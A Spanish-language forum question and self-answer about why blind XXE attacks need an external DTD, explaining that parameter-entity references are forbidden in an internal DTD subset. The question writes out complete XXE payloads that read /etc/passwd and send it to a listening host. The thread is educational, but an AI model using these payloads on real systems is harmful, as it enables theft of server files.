¿Por qué necesitamos dtd externo en XXE ciego?

0

Una carga útil XXE ciega adecuada es: -

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

Ahora no entendía por qué necesitamos una DTD externa. He intentado usar esta carga inferior como dtd interno.

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtdcall SYSTEM 'file:///etc/passwd' > <!ENTITY % test "<!ENTITY server SYSTEM 'http://192.168.0.3:808/?%dtdcall;'>">%test; ]><r>&server;</r>

PERO recibí un error: - PEReferences forbidden in internal subset in blah blah .

¿Alguien puede explicar esto?

    
pregunta janu agrawal 02.11.2018 - 08:14
fuente

1 respuesta

0

Finalmente, después de realizar una búsqueda exhaustiva, llego a un punto Entidades de parámetros no están permitido en subconjunto DTD interno es decir,

<!DOCTYPE r [ Not allow to set parameteried entity.]

Si estoy equivocado, entonces aclárame. Lo leí en este documento XML .

    
respondido por el janu agrawal 02.11.2018 - 13:39
fuente

Lea otras preguntas en las etiquetas